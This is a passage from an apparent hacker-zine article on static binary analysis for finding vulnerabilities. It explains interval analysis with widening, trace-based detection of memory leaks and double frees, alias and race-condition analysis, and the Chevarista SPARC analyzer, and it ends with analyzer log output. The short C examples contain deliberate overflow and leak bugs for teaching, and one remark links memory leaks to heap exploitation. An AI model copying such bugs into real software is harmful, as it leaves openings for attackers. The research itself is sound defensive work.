abstract value of the predicate inside the assert (i < N). In other words, the analyzer
will check if the assert can be false using interval analysis of variables, and will print
a bug report if it can. We can also let the assert() implicits, but representing them
explicitely make the analysis more generic, modular, and adaptable to the user.

As you can see, there is a one-byte-overflow in this example. It is pretty trivial
to spot it manually, however we want to develop an automatic routine  for doing
it. If we deploy the analysis that we have done in the previous example, the assert()
that was automatically inserted by the analyzer after each memory access of the program 
will fail after N iterations. This is because arrays in the C language start with index 0 and 
finish with an index inferior of 1 to their allocated size. Whatever kind of 
code will be inserted between those lines (except, of course, bit swapping as 
previously mentioned), we will always be able to propagate the intervals and find
that memory access are done beyond the allocated limit, then finding a clear
memory leak or memory overwrite vulnerability in the program.

However, this specific example brings 2 more questions:

        - We do not know the actual value of N. Is it a problem ? If we 
        manage to see that the constraint over the index of buf is actually
        the same variable (or have the same value than) the size of the
        allocated buffer, then it is not a problem. We will develop this in 
        the alias analysis part of this article when this appears to be a
        difficulty. 

        - Whatever the value of N, and provided we managed to identify N
        all definitions and use of the variable N, the analyzer will require N
        iteration over the loop to detect the vulnerability. This is not
        acceptable, especially if N is very big, which in that case many
        minuts will be necessary for analysing this loop, when we actually
        want an answer in the next seconds.

The answer for this optimization problem is a technique called Widening, gathered
from the theory of abstract interpretation. Instead of executing the loop N
times until the loop condition is false, we will directly in 1 iteration go to
the last possible value in a certain interval, and this as soon as we detect a
monotonic increase of the interval. The previous example would then compute
like in:

Stub 5                                  Interval analysis with Widening
------                                  -------------------------------

char *buf;                              buf = _|_ (uninitialized)
int   n = rand();                       n   = [-Inf, +Inf]
buf = malloc(n)                         buf = initialized of size [-Inf to Inf]
i   = 0;                                i = [0,0]

while (i <= n)
{
  assert(i < N);                         iter1  iter2 iter3 iter4  ASSERT!
  buf[i] = 0x00;                        i = [0,0], [0,1] [0,2] [0,N]    
  i++;                                  i = [0,1], [0,2] [0,3] [0,N] 
}
return (i);


Using this test, we can directly go to the biggest possible interval in only 
a few iterations, thus reducing drastically the requested time for finding
the vulnerability. However this optimization might introduce additional
difficulties when conditional statement is inside the loop:


Stub 6                                  Interval analysis with Widening
------                                  -------------------------------

char *buf;                              buf = _|_ (uninitialized)
int   n = rand() + 2;                   n   = [-Inf, +Inf]
buf = malloc(n)                         buf = initialized of size [-Inf to Inf]
i   = 0;                                i = [0,0]

while (i <= n)                               i = [0,0] [0,1] [0,2] [0,N] [0,N+1]
{
  if (i < n - 2)                     i = <same than previously for all iterations>
  {
    assert(i < N - 1)                        [Never triggered !]
    buf[i] = 0x00;                      i = [0,0] [0,1] [0,2] [0,N] <False positive>    
  }                     
  i++;                                  i = [0,1] [0,2] [0,3] [0,N] [0,N+1]     
}
return (i);


In this example, we cannot assume that the interval of i will be the same everywhere
in the loop (as we might be tempted to do as a first hint for handling intervals in
a loop). Indeed, in the middle of the loop stands a condition (with predicate being 
i < n - 2) which forbids the interval to grow in some part of the code. This is problematic 
especially if we decide to use widening until the loop breaking condition. We will miss
this more subtle repartition of values in the variables of the loop. The solution for this
is to use widening with thresholds. Instead of applying widening in a single time over the
entire loop, we will define a sequel of values which corresponds to "strategic points" of
the code, so that we can decide to increase precisely using a small-step values iteration.

The strategic points can be the list of values on which a condition is applied. In our case
we would apply widening until n = N - 2 and not until n = N. This way, we will not trigger
a false positive anymore because of an overapproximation of the intervals over the entire
loop. When each step is realized, that allows to annotate which program location is the subject
of the widening in the future (in our case: the loop code before and after the "if" statement).

Note that, when we reach a threshold during widening, we might need to apply a small-step
iteration more than once before widening again until the next threshold. For instance, 
when predicates such as (a != immed_value) are met, they will forbid the inner code of 
the condition to have their interval propagated. However, they will forbid this just one 
iteration (provided a is an inductive variable, so its state will change at next iteration) 
or multiple iterations (if a is not an inductive variable and will be modified only at another 
moment in the loop iterative abstract execution). In the first case, we need only 2 small-step
abstract iterations to find out that the interval continues to grow after a certain iteration.
In the second case, we will need multiple iteration until some condition inside the loop is
reached. We then simply needs to make sure that the threshold list includes the variable value
used at this predicate (which heads the code where the variable a will change). This way, we
can apply only 2 small-step iterations between those "bounded widening" steps, and avoid
generating false positives using a very optimized but precise abstract evaluation sequence.


In our example, we took only an easy example: the threshold list is only made of 2 elements (n
and (n - 2)). But what if a condition is realized using 2 variables and not a variable and 
an immediate value ? in that case we have 3 cases:

CASE1 - The 2 variables are inductive variables: in that case, the threshold list of the two variables 
must be fused, so widening do not step over a condition that would make it lose precision. This
seem to be a reasonable condition when one variable is the subject of a constraint that involve
a constant and the second variable is the subject of a constraint that involve the first variable:


Stub 7:                                         Threshold discovery
-------                                         -------------------

int a = MIN_LOWERBOUND;
int b = MAX_UPPERBOUND;
int i = 0;
int n = MAXSIZE;

while (i < n)                                        Found threshold n
{
  if (a < i < b)                          Found predicate involving a and b
    (...)
  if (a > sizeof(something))                 Found threshold for a
    i = b;
  else if (b + 1 < sizeof(buffer))           Found threshold for b
    i = a;
}


In that case, we can define the threshold of this loop being a list of 2 values,
one being sizeof(something), the other one being sizeof(buffer) or sizeof(buffer) - 1
in case the analyzer is a bit more clever (and if the assembly code makes it clear
that the condition applyes on sizeof(buffer) - 1).


CASE2 - One of the variable is inductive and the other one is not. 


So we have 2 subcases:

 - The inductive variable is involved in a predicate that leads to modification
   of the non-inductive variable. It is not possible without the 2 variables 
   being inductives !Thus we fall into the case 1 again.


 - The non-inductive variable is involved in a predicate that leads to
   modification of the inductive variable. In that case, the non-inductive
   variable would be invariant over the loop, which mean that a test between 
   its domain of values (its interval) and the domain of the inductive
   variable is required as a condition to enter the code stubs headed by the
   analyzed predicate. Again, we have 2 sub-subcases:

        * Either the predicate is a test == or !=. In that case, we must compute
        the intesection of both variables intervals. If  the intersection is void,
        the test will never true, so its dead code. If the intersection is itself
        an interval (which will be the case most of the time), it means that the
        test will be true over this inductive variable intervals of value, and 
        false over the remaining domain of values. In that case, we need to put
        the bounds of the non-inductive variable interval into the threshold list for 
        the widening of inductive variables that depends on this non-inductive 
        variable.
        

        * Or the predicate is a comparison : a < b (where a or b is an inductive
        variable). Same remarks holds : we compute the intersection interval 
        between a and b. If it is void, the test will always be true or false and
        we know this before entering the loop. If the interval is not void, we 
        need to put the bounds of the intersection interval in the widening threshold
        of the inductive variable.


CASE3 - None of the variables are inductive variables

In that case, the predicate that they define has a single value over the
entire loop, and can be computed before the loop takes place. We then can
turn the conditional code into an unconditional one and apply widening
like if the condition was not existing. Or if the condition is always
false, we would simply remove this code from the loop as the content of
the conditional statement will never be reached.

As you can see, we need to be very careful in how we perform the widening. If
the widening is done without thresholds, the abstract numerical values will
be overapproximative, and our analysis will generate a lot of false positives.
By introducing thresholds, we sacrify very few performance and gain a lot of 
precision over the looping code analysis. Widening is a convergence accelerator
for detecting problems like buffer overflow. Some overflow problem can happen
after millions of loop iteration and widening brings a nice solution for
getting immediate answers even on those constructs.

I have not detailed how to find the size of buffers in this paragraph. Wether
the buffers are stack or heap allocated, they need to have a fixed size at 
some point and the stack pointer must be substracted somewhere (or malloc
needs to be called, etc) which gives us the information of allocation 
alltogether with its size, from which we can apply our analysis. 

We will now switch to the last big part of this article, by explaining how
to check for another class of vulnerability.




------------[ B. Type state checking (aka double free, memory leaks, etc)



There are some other types of vulnerabilities that are slightly different to
check. In the previous part we explained how to reason about intervals of 
values to find buffer overflows in program. We presented an optimization
technique called Widening and we have studied how to weaken it for gaining
precision, by generating a threshold list from a set of predicates. Note that
we havent explicitely used what is called the "predicate abstraction", which
may lead to improving the efficiency of the analysis again. The interested
reader will for sure find resources about predicate abstraction on any good
research oriented search engine. Again, this article is not intended to give
all solutions of the problem of the world, but introduce the novice hacker
to the concrete problematic of program analysis.

In this part of the article, we will study how to detect memory leaks and
heap corruptions. The basic technique to find them is not linked with interval
analysis, but interval analysis can be used to make type state checking more
accurate (reducing the number of false positives). 

Lets take an example of memory leak to be concrete:


Stub 8:
-------

1. u_int off  = 0;
2. u_int ret  = MAXBUF;
3. char  *buf = malloc(ret);

4. do {
5.     off += read(sock, buf + off, ret - off);
6.     if (off == 0)
7.       return (-ERR);
8.     else if (ret == off)
9.       buf = realloc(buf, ret * 2);
10.} while (ret);

11. printf("Received %s \n", buf);
12. free(buf);
13. return;



In that case, there is no overflow but if some condition appears after the read, an error
is returned without freeing the buffer. This is not a vulnerability as it, but it can
help a lot for managing the memory layout of the heap while trying to exploit a heap
overflow vulnerability. Thus, we are also interested in detecting memory leak that
turns some particular exploits into powerful weapons.

Using the graphical representation of control flow and data flow, we can easily
find out that the code is wrong:


Graph analysis of Stub 8
------------------------


        o A                             A: Allocation
        |                               
        |
        o<----
        |     \  
        o      \
       / \      \
      /   \      \                      R: Return
   R o     o REA /                      REA: Realloc
      \   /     /
       \ /     /
        o     /
        |    /
        |   /
        |  /
        | /
        |/
        o
        |                               F: Free
      F o
        | 
      R o                               R: Return



Note that this representation is not a data flow graph but a
control-flow graph annotated with data allocation information for
the BUF variable. This allows us to reason about existing control 
paths and sequence of memory related events. Another way of doing 
this would have been to reason about data dependences together with
the predicates, as done in the first part of this article with the 
Labelled SSI form. We are not dogmatic towards one or another 
intermediate form, and the reader is invited to ponder by himself 
which representation fits better to his understanding. I invite
you to think twice about the SSI form which is really a condensed
view of lots of different information. For pedagogical purpose, we
switch here to a more intuitive intermediate form that express a 
similar class of problems.


Stub 8:
-------


0. #define PACKET_HEADER_SIZE 20

1. int   off  = 0;
2. u_int ret  = 10;
3. char  *buf = malloc(ret);                            M

4. do {
5.     off += read(sock, buf + off, ret - off);
6.     if (off <= 0)
7.       return (-ERR);                                 R
8.     else if (ret == off)
9.       buf = realloc(buf, (ret = ret * 2));           REA
10.} while (off != PACKET_HEADER_SIZE);

11. printf("Received %s \n", buf);
12. free(buf);                                          F
13. return;                                             R


Using simple DFS (Depth-First Search) over the graph representing Stub 8, 
we are capable of extracting sequences like:


1,2,(3 M),4,5,6,8,10,11,(12 F),(12 R)           M...F...R       -noleak-

1,2,(3 M),4,(5,6,8,10)*,11,(12 F),(12 R)        M(...)*F...R    -noleak-

1,2,(3 M),4,5,6,8,10,5,6,(7 R)                  M...R           -leak-

1,2,(3 M),(4,5,6,8,10)*,5,6,(7 R)               M(...)*R        -leak-

1,2,(3 M),4,5,6,8,(9 REA),10,5,6,(7 R)          M...REA...R     -leak-

1,2,(3 M),4,5,6,(7 R)                           M...R           -leak-

etc

More generally, we can represent the set of all possible traces for
this example :


                1,2,3,(5,6,(7 | 8(9 | Nop)) 10)*,(11,12,13)*


with | meaning choice and * meaning potential looping over the events
placed between (). As the program might loop more than once or twice,
a lot of different traces are potentially vulnerable to the memory leak
(not only the few we have given), but all can be expressed using this
global generic regular expression over events of the loop, with respect
to this regular expression:


                        .*(M)[^F]*(R)


that represent traces containing a malloc followed by a return without 
an intermediate free, which corresponds in our program to:


                        .*(3)[^12]*(7)

                  =     .*(3).*(7)       # because 12 is not between 3 and 7 in any cycle


In other words, if we can extract a trace that leads to a return after passing
by an allocation not followed by a free (with an undetermined number of states
between those 2 steps), we found a memory leak bug.

We can then compute the intersection of the global regular expression trace
and the vulnerable traces regular expression to extract all potential 
vulnerable path from a language of traces. In practice, we will not generate
all vulnerable traces but simply emit a few of them, until we find one that
we can indeed trigger. 

Clearly, the first two trace have a void intersection (they dont contain 7). So
those traces are not vulnerable. However, the next traces expressions match
the pattern, thus are potential vulnerable paths for this vulnerability.

We could use the exact same system for detecting double free, except that
our trace pattern would be :

                        
                        .*(F)[^A]*(F)


that is : a free followed by a second free on the same dataflow, not passing
through an allocation between those. A simple trace-based analyzer can detect
many cases of vulnerabilities using a single engine ! That superclass of 
vulnerability is made of so called type-state vulnerabilities, following the idea that
if the type of a variable does not change during the program, its state does,
thus the standard type checking approach is not sufficient to detect this kind of 
vulnerabilities.
                

As the careful reader might have noticed, this algorithm does not take predicates
in account, which means that if such a vulnerable trace is emitted, we have no 
garantee if the real conditions of the program will ever execute it. Indeed, we 
might extract a path of the program that "cross" on multiple predicates, some
being incompatible with others, thus generating infeasible paths using our
technique.

For example in our Stub 8 translated to assembly code, a predicate-insensitive 
analysis might generate the trace:

                1,2,3,4,5,6,8,9,10,11,12,13

which is impossible to execute because predicates holding at states 8 and 10 
cannot be respectively true and false after just one iteration of the loop. Thus 
such a trace cannot exist in the real world. 
 

We will not go further this topic for this article, but in the next part, we will
discuss various improvements of what should be a good analysis engine to avoid
generating too much false positives.



------------[ C. How to improve


        In this part, we will review various methods quickly to determine how exactly
it is possible to make the analysis more accurate and efficient. Current researchers
in program analysis used to call this a "counter-example guided" verification. Various
techniques taken from the world of Model Checking or Abstract Interpretation can then
be used, but we will not enter such theoretical concerns. Simply, we will discuss the
ideas of those techniques without entering details. The proposed chevarista analyzer
in appendix of this article only perform basic alias analysis, no predicate analysis,
and no thread scheduling analysis (as would be useful for detecting race conditions).
I will give the name of few analyzer that implement this analysis and quote which
techniques they are using.


----------------------[ a. Predicate analysis and the predicate lattice


Predicate abstraction [PA] is about collecting all the predicates in a program, and
constructing a mathematic object from this list called a lattice [LAT]. A lattice is
a set of objects on which a certain (partial) order is defined between elements
of this set. A lattice has various theoretical properties that makes it different
than a partial order, but we will not give such details in this article. We will
discuss about the order itself and the types of objects we are talking about:

        - The order can be defined as the union of objects 

                                (P < Q iif P is included in Q)

        - The objects can be predicates


        - The conjunction (AND) of predicate can be the least upper bound of N
        predicates. Predicates (a > 42) and (b < 2) have as upper bound:

                                (a > 42) && (b < 2)

        - The disjunction (OR) of predicates can be the greatest lower bound of
        N predicates. Predicates (a > 42) and (b < 2) would have as lower
        bound:

                                (a > 42) || (b < 2)

        So the lattice would look like:


                                (a > 42) && (b < 2)
                                        /  \
                                       /    \
                                      /      \
                                (a > 42)     (b < 2)
                                      \      /
                                       \    /
                                        \  /
                                (a > 42) || (b < 2)


Now imagine we have a program that have N predicates. If all predicates
can be true at the same time, the number of combinations between predicates
will be 2 at the power of N. THis is without counting the lattice elements
which are disjunctions between predicates. The total number of combinations 
will then be then 2*2pow(N) - N : We have to substract N because the predicates
made of a single atomic predicates are shared between the set of conjunctives
and the set of disjunctive predicates, which both have 2pow(N) number of 
elements including the atomic predicates, which is the base case for a conjunction
(pred && true) or a disjunction (pred || false). 

We may also need to consider the other values of predicates : false, and unknown.
False would simply be the negation of a predicate, and unknown would inform about
the unknown truth value for a predicate (either false or true, but we dont know).
In that case, the number of possible combinations between predicates is to count
on the number of possible combinations of N predicates, each of them being potentially
true, false, or unknown. That makes up to 3pow(N) possibilities. This approach is called
three-valued logic [TVLA].

In other words, we have a exponential worse case space complexity for constructing 
the lattice of predicates that correspond to an analyzed program. Very often, the 
lattice will be smaller, as many predicates cannot be true at the same time. However, 
there is a big limitation in such a lattice: it is not capable to analyze predicates 
that mix AND and OR. It means that if we analyze a program that can be reached using 
many different set of predicates (say, by executing many different possible paths, 
which is the case for reusable functions), this lattice will not be capable to give 
the most precise "full" abstract representation for it, as it may introduce some 
flow-insensitivity in the analysis (e.g. a single predicate combinations will represent 
multiple different paths). As this might generate false positives, it looks like a good 
trade-off between precision and complexity. Of course, this lattice is just provided as 
an example and the reader should feel free to adapt it to its precise needs and depending 
on the size of the code to be verified. It is a good hint for a given abstraction
but we will see that other information than predicates are important for program
analysis.


        
---------------------[ b. Alias analysis is hard


        A problem that arises in both source code but even more in binary code
automated auditing is the alias analysis between pointers. When do pointers
points on the same variables ? This is important in order to propagate the
infered allocation size (when talking about a buffer), and to share a 
type-state (such as when a pointer is freed or allocated : you could miss 
double free or double-something bugs if you dont know that 2 variables are 
actually the same).

There are multiple techniques to achieve alias analysis. Some of them works
inside a single function (so-called intraprocedural [DDA]). Other works across
the boundaries of a function. Generally, the more precise is your alias
analysis, the smaller program you will be capable to analyze. It seems
quite difficult to scale to millions of lines of code if tracking every
single location for all possible pointers in a naive way. In addition
to the problem that each variable might have a very big amount of aliases
(especially when involving aliases over arrays), a program translated to
a single-assignment or single-information form has a very big amount of
variables too. However the live range of those variables is very limited,
so their number of aliases too. It is necessary to define aliasing relations
between variables so that we can proceed our analysis using some extra checks:

        - no_alias(a,b)   : Pointers a and b definitely points on different sets
                           of variables

        - must_alias(a,b) : Pointers a and b definitely points on the same set
                           of variables

        - may_alias(a,b)  : The "point-to" sets for variables a and b share some
                            elements (non-null intersection) but are not equal.

NoAliasing and MustAliasing are quite intuitive. The big job is definitely
the MayAliasing. For instance, 2 pointers might point on the same variable
when executing some program path, but on different variables when executing
from another path. An analysis that is capable to make those differences is
called a path-sensitive analysis. Also, for a single program location manipulating
a given variable, the point-to set of the variable can be different depending
on the context (for example : the set of predicates that are true at this moment 
of abstract program interpretation). An analysis that can reason on those
differences is called context-sensitive.

Its an open problem in research to find better alias analysis algorithms that scale
to big programs (e.g. few computation cost) and that are capable to keep
sufficiently precision to prove security properties. Generally, you can have one,
but not the other. Some analysis are very precise but only works in the boundaries
of a function. Others work in a pure flow-insensitive manner, thus scale to big
programs but are very imprecise. My example analyzer Chevarista implements only
a simple alias analysis, that is very precise but does not scale well to big
programs. For each pointer, it will try to compute its point-to set in the concrete
world by somewhat simulating the computation of pointer arithmetics and looking at 
its results from within the analyzer. It is just provided as an example but is
in no way a definitive answer to this problem.



--------------------[ c. Hints on detecting race conditions


        Another class of vulnerability that we are interested to detect
automatically are race conditions. Those vulnerability requires a different
analysis to be discovered, as they relates to a scheduling property : is
it possible that 2 thread get interleaved (a,b,a,b) executions over their
critical sections where they share some variables ? If the variables are
all well locked, interleaved execution wont be a problem anyway. But if 
locking is badly handled (as it can happens in very big programs such
as Operating Systems), then a scheduling analysis might uncover the 
problem.

Which data structure can we use to perform such analysis ? The approach
of JavaPathFinder [JPF] that is developed at NASA is to use a scheduling graph.
The scheduling graph is a non-cyclic (without loop) graph, where nodes
represents states of the program and and edges represents scheduling
events that preempt the execution of one thread for executing another.

As this approach seems interesting to detect any potential scheduling
path (using again a Depth First Search over the scheduling graph) that
fails to lock properly a variable that is used in multiple different
threads, it seems to be more delicate to apply it when we deal with
more than 2 threads. Each potential node will have as much edges as
there are threads, thus the scheduling graph will grow exponentially
at each scheduling step. We could use a technique called partial
order reduction to represent by a single node a big piece of code
for which all instructions share the same scheduling property (like:
it cannot be interrupted) or a same dataflow property (like: it uses
the same set of variables) thus reducing the scheduling graph to make
it more abstract.

Again, the chevarista analyzer does not deal with race conditions, but
other analyzers do and techniques exist to make it possible. Consider
reading the references for more about this topic.




-----------[ IV. Chevarista: an analyzer of binary programs

        
   Chevarista is a project for analyzing binary code. In this article, most of
   the examples have been given in C or assembly, but Chevarista only analyze
   the binary code without any information from the source. Everything it
   needs is an entry point to start the analysis, which you can always get
   without troubles, for any (working ? ;) binary format like ELF, PE, etc.

   Chevarista is a simplier analyzer than everything that was presented in
   this article, however it aims at following this model, driven by the succesful
   results that were obtained using the current tool. In particular, the
   intermediate form of Chevarista at the moment is a graph that contains
   both data-flow and control-flow information, but with sigma and phi 
   functions let implicit.

   For simplicity, we have chosen to work on SPARC [SRM] binary code, but after
   reading that article, you might understand that the representations
   used are sufficiently abstract to be used on any architecture. One could
   argue that SPARC instruction set is RISC, and supporting CISC architecture 
   like INTEL or ARM where most of the instruction are conditional, would be
   a problem. You are right to object on this because  these architectures
   requires specific features of the architecture-dependant backend of
   the decompiler-analyzer. Currently, only the SPARc backend is coded and there 
   is an empty skeleton for the INTEL architecture [IRM].

   What are, in the detail, the difference between such architectures ?

   They are essentially grouped into a single architecture-dependant component :
        
                                The Backend

   On INTEL 32bits processors, each instruction can perform multiple operations. 
   It is also the case for SPARC, but only when conditional flags are affected 
   by the result of the operation executed by the instruction. For instance,
   a push instruction write in memory, modify the stack pointer, and potentially
   modify the status flags (eflags register on INTEL), which make it very hard to
   analyze. Many instructions do more than a single operation, thus we need to
   translate into intermediate forms that make those operations more explicit. If
   we limit the number of syntactic constructs in that intermediate form, we are
   capable of performing architecture independant analysis much easier with
   all operations made explicit. The low-level intermediate form of Chevarista
   has around 10 "abstract operations" in its IR : Branch, Call, Ternop (that
   has an additional field in the structure indicating which arithmetic or 
   logic operation is performed), Cmp, Ret, Test, Interrupt, and Stop. Additionally
   you have purely abstract operations (FMI: Flag Modifying Instruction), CFI
   (Control Flow Instruction), and Invoke (external functions calls) which allow to 
   make the analysis further even more generic. Invoke is a kind of statement that
   inform the analyzer that it should not try to analyze inside the function being
   invoked, but consider those internals as an abstraction. For instance, types
   Alloc, Free, Close are child classes of the Invoke abstract class, which model
   the fact that malloc(), free(), or close() are called and the analyzer should
   not try to handle the called code, but consider it as a blackbox. Indeed, finding
   allocation bugs does not require to go analyzing inside malloc() or free(). This
   would be necessary for automated exploit generation tho, but we do not cover this
   here.


   We make use the Visitor Design Pattern for architecturing the analysis, as presented 
   in the following paragraph.
   


--------------------[ B. Program transformation & modeling



        The project is organized using the Visitor Design Pattern [DP]. To sum-up,
  the Visitor Design Pattern allows to walk on a graph (that is: the intermediate
  form representation inside the analyzer) and transform the nodes (that contains
  either basic blocs for control flow analysis, or operands for dataflow analysis:
  indeed the control or data flow links in the graph represents the ancestors /
  successors relations between (control flow) blocs or (data flow) variables.


  The project is furnished as it:


  visitor: The default visitor. When the graph contains node which
  type are not handled by the current visitor, its this visitor that
  perform the operation. THe default visitor is the root class of 
  the Visitor classes hierarchy.

  arch        : the architecture backend. Currently SPARC32/64 is fully
              provided and the INTEL backend is just a skeleton. The
              whole proof of concept was written on SPARC for simplicity. This
              part also includes the generic code for dataflow and control flow 
              computations.

  graph       : It contains all the API for constructing graphs directly into
              into the intermediate language. It also defines all the abstract
              instructions (and the "more" abstract instruction as presented
              previously)

  gate        : This is the interprocedural analysis visitor. Dataflow and
              Control flow links are propagated interprocedurally in that visitor. 
              Additionally, a new type "Continuation" abstracts different kind of 
              control transfer (Branch, Call, Ret, etc) which make the analysis even
              easier to perform after this transformation.

  alias       : Perform a basic point-to analysis to determine obvious aliases 
              between variables before checking for vulnerabilities. THis analysis is 
              exact and thus does not scale to big programs. There are many hours of
              good reading and hacking to improve this visitor that would make the whole
              analyzer much more interesting in practice on big programs.

  heap        : This visitor does not perform a real transformation, but simplistic graph 
              walking to detect anomalies on the data flow graph. Double frees, Memory
              leaks, and such, are implemented in that Visitor.

  print       : The Print Visitor, simply prints the intermediate forms after each
              transformation in a text file.

  printdot    : Print in a visual manner (dot/graphviz) the internal representation. This
              can also be called after each transformation but we currently calls it 
              just at this end of the analysis.


Additionally, another transformation have been started but is still work in progress:



 symbolic     : Perform translation towards a more symbolic intermediate forms (such as
              SSA and SSI) and  (fails to) structure the control flow graphs into a graph 
              of zones. This visitor is work in progress but it is made part of this 
              release as Chevarista will be discontinued in its current work, for being
              implemented in the ERESI [RSI] language instead of C++.



              ---------------      -----------      -----------      ----------   
             |               |    |           |    |           |    |          |
   RAW       | Architecture  |    |   Gate    |    |   Alias   |    |   Heap   |
       ----> |               | -> |           | -> |           | -> |          | -> Results
   ASM       |   Backend     |    |  Visitor  |    |  Visitor  |    |  Visitor |
             |               |    |           |    |           |    |          |
              ---------------      -----------      -----------      ----------



--------------------[ C. Vulnerability checking


   
   Chevarista is used as follow in this demo framework. A certain big testsuits of binary
   files is provided in the package and the analysis is performed. In only a couple of
   seconds, all the analysis is finished:

   
   # We execute chevarista on testsuite binary 34

   $ autonomous/chevarista ../testsuite/34.elf
   
                  .:/\  Chevarista standalone version /\:.  
                        
   [...]

   => chevarista 
Detected SPARC
Chevarista IS STARTING
Calling sparc64_IDG
Created IDG
SPARC IDG : New bloc at addr 0000000000100A34 
SPARC IDG : New bloc at addr 00000000002010A0 
[!] Reached Invoke at addr 00000000002010A4 
SPARC IDG : New bloc at addr 0000000000100A44 
Cflow reference to : 00100A50 
Cflow reference from : 00100A48 
Cflow reference from : 00100C20 
SPARC IDG : New bloc at addr 0000000000100A4C 
SPARC IDG : New bloc at addr 0000000000100A58 
SPARC IDG : New bloc at addr 0000000000201080 
[!] Reached Invoke at addr 0000000000201084 
SPARC IDG : New bloc at addr 0000000000100A80 
SPARC IDG : New bloc at addr 0000000000100AA4 
SPARC IDG : New bloc at addr 0000000000100AD0 
SPARC IDG : New bloc at addr 0000000000100AF4 
SPARC IDG : New bloc at addr 0000000000100B10 
SPARC IDG : New bloc at addr 0000000000100B70 
SPARC IDG : New bloc at addr 0000000000100954 
Cflow reference to : 00100970 
Cflow reference from : 00100968 
Cflow reference from : 00100A1C 
SPARC IDG : New bloc at addr 000000000010096C 
SPARC IDG : New bloc at addr 0000000000100A24 
Cflow reference to : 00100A2C 
Cflow reference from : 00100A24 
Cflow reference from : 00100A08 
SPARC IDG : New bloc at addr 0000000000100A28 
SPARC IDG : New bloc at addr 0000000000100980 
SPARC IDG : New bloc at addr 0000000000100A10 
SPARC IDG : New bloc at addr 00000000001009C4 
SPARC IDG : New bloc at addr 0000000000100B88 
SPARC IDG : New bloc at addr 0000000000100BA8 
SPARC IDG : New bloc at addr 0000000000100BC0 
SPARC IDG : New bloc at addr 0000000000100BE0 
SPARC IDG : New bloc at addr 0000000000100BF8 
SPARC IDG : New bloc at addr 0000000000100C14 
SPARC IDG : New bloc at addr 00000000002010C0 
[!] Reached Invoke at addr 00000000002010C4 
SPARC IDG : New bloc at addr 0000000000100C20 
SPARC IDG : New bloc at addr 0000000000100C04 
SPARC IDG : New bloc at addr 0000000000100910 
SPARC IDG : New bloc at addr 0000000000201100 
[!] Reached Invoke at addr 0000000000201104 
SPARC IDG : New bloc at addr 0000000000100928 
SPARC IDG : New bloc at addr 000000000010093C 
SPARC IDG : New bloc at addr 0000000000100BCC 
SPARC IDG : New bloc at addr 00000000001008E0 
SPARC IDG : New bloc at addr 00000000001008F4 
SPARC IDG : New bloc at addr 0000000000100900 
SPARC IDG : New bloc at addr 0000000000100BD8 
SPARC IDG : New bloc at addr 0000000000100B94 
SPARC IDG : New bloc at addr 00000000001008BC 
SPARC IDG : New bloc at addr 00000000001008D0 
SPARC IDG : New bloc at addr 0000000000100BA0 
SPARC IDG : New bloc at addr 0000000000100B34 
SPARC IDG : New bloc at addr 0000000000100B58 
Cflow reference to : 00100B74 
Cflow reference from : 00100B6C 
Cflow reference from : 00100B2C 
Cflow reference from : 00100B50 
SPARC IDG : New bloc at addr 0000000000100B04 
SPARC IDG : New bloc at addr 00000000002010E0 
SPARC IDG : New bloc at addr 0000000000100AE8 
SPARC IDG : New bloc at addr 0000000000100A98 
Intraprocedural Dependance Graph has been built succesfully! 
A number of 47 blocs has been statically traced for flow-types
[+] IDG built

Scalar parameter REPLACED with name = %o0 (addr= 00000000002010A4)
Backward dataflow analysis VAR        %o0, instr addr 00000000002010A4 
Scalar parameter REPLACED with name = %o0 (addr= 00000000002010A4)
Backward dataflow analysis VAR        %o0, instr addr 00000000002010A4 
Scalar parameter REPLACED with name = %o0 (addr= 00000000002010A4)
Backward dataflow analysis VAR        %o0, instr addr 00000000002010A4 
Backward dataflow analysis VAR        %fp, instr addr 0000000000100A48 
Return-Value REPLACED with name = %i0 (addr= 0000000000100A44) 
Backward dataflow analysis VAR        %i0, instr addr 0000000000100A44 
Backward dataflow analysis VAR        %fp, instr addr 0000000000100A5C 
Return-Value REPLACED with name = %i0 (addr= 0000000000100A58) 
Backward dataflow analysis VAR        %i0, instr addr 0000000000100A58 
Backward dataflow analysis VAR [%fp + 7e7], instr addr 0000000000100A6C 
Scalar parameter REPLACED with name = %o0 (addr= 0000000000201084)
Backward dataflow analysis VAR        %o0, instr addr 0000000000201084 
Scalar parameter REPLACED with name = %o0 (addr= 0000000000201084)
Backward dataflow analysis VAR        %o0, instr addr 0000000000201084 
Scalar parameter REPLACED with name = %o1 (addr= 0000000000201084)
Backward dataflow analysis VAR        %o1, instr addr 0000000000201084 
Scalar parameter REPLACED with name = %o1 (addr= 0000000000201084)
Backward dataflow analysis VAR        %o1, instr addr 0000000000201084 
Scalar parameter REPLACED with name = %o2 (addr= 0000000000201084)
Backward dataflow analysis VAR        %o2, instr addr 0000000000201084 
Scalar parameter REPLACED with name = %o2 (addr= 0000000000201084)
Backward dataflow analysis VAR        %o2, instr addr 0000000000201084 
Backward dataflow analysis VAR        %fp, instr addr 0000000000100A84 
Return-Value REPLACED with name = %i0 (addr= 0000000000100A80) 
Backward dataflow analysis VAR        %i0, instr addr 0000000000100A80 
Backward dataflow analysis VAR [%fp + 7d3], instr addr 0000000000100AA4 
Backward dataflow analysis VAR [%fp + 7df], instr addr 0000000000100ABC 
Backward dataflow analysis VAR [%fp + 7e7], instr addr 0000000000100AAC 
Backward dataflow analysis VAR        %fp, instr addr 0000000000100AD4 
Return-Value REPLACED with name = %i0 (addr= 0000000000100AD0) 
Backward dataflow analysis VAR        %i0, instr addr 0000000000100AD0 
Backward dataflow analysis VAR [%fp + 7d3], instr addr 0000000000100AF4 
Backward dataflow analysis VAR [%fp + 7d3], instr addr 0000000000100B24 
Backward dataflow analysis VAR [%fp + 7df], instr addr 0000000000100B18 
Backward dataflow analysis VAR [%fp + 7e7], instr addr 0000000000100B70 
Backward dataflow analysis VAR [%fp + 7e7], instr addr 0000000000100B70 
Backward dataflow analysis VAR [%fp + 7e7], instr addr 0000000000100B70 
Backward dataflow analysis VAR [%fp + 7e7], instr addr 0000000000100B38 
Backward dataflow analysis VAR        %fp, instr addr 0000000000100964 
Backward dataflow analysis VAR        %fp, instr addr 0000000000100964 
Backward dataflow analysis VAR        %fp, instr addr 0000000000100964 
Scalar parameter REPLACED with name = %o0 (addr= 0000000000100958)
Backward dataflow analysis VAR        %o0, instr addr 0000000000100958 
Scalar parameter REPLACED with name = %o0 (addr= 0000000000100958)
[....]
Backward dataflow analysis VAR        %fp, instr addr 0000000000100B6C 
Backward dataflow analysis VAR [%fp + 7df], instr addr 0000000000100B60 
Backward dataflow analysis VAR [%fp + 7e7], instr addr 0000000000100B58 
[+] GateVisitor finished

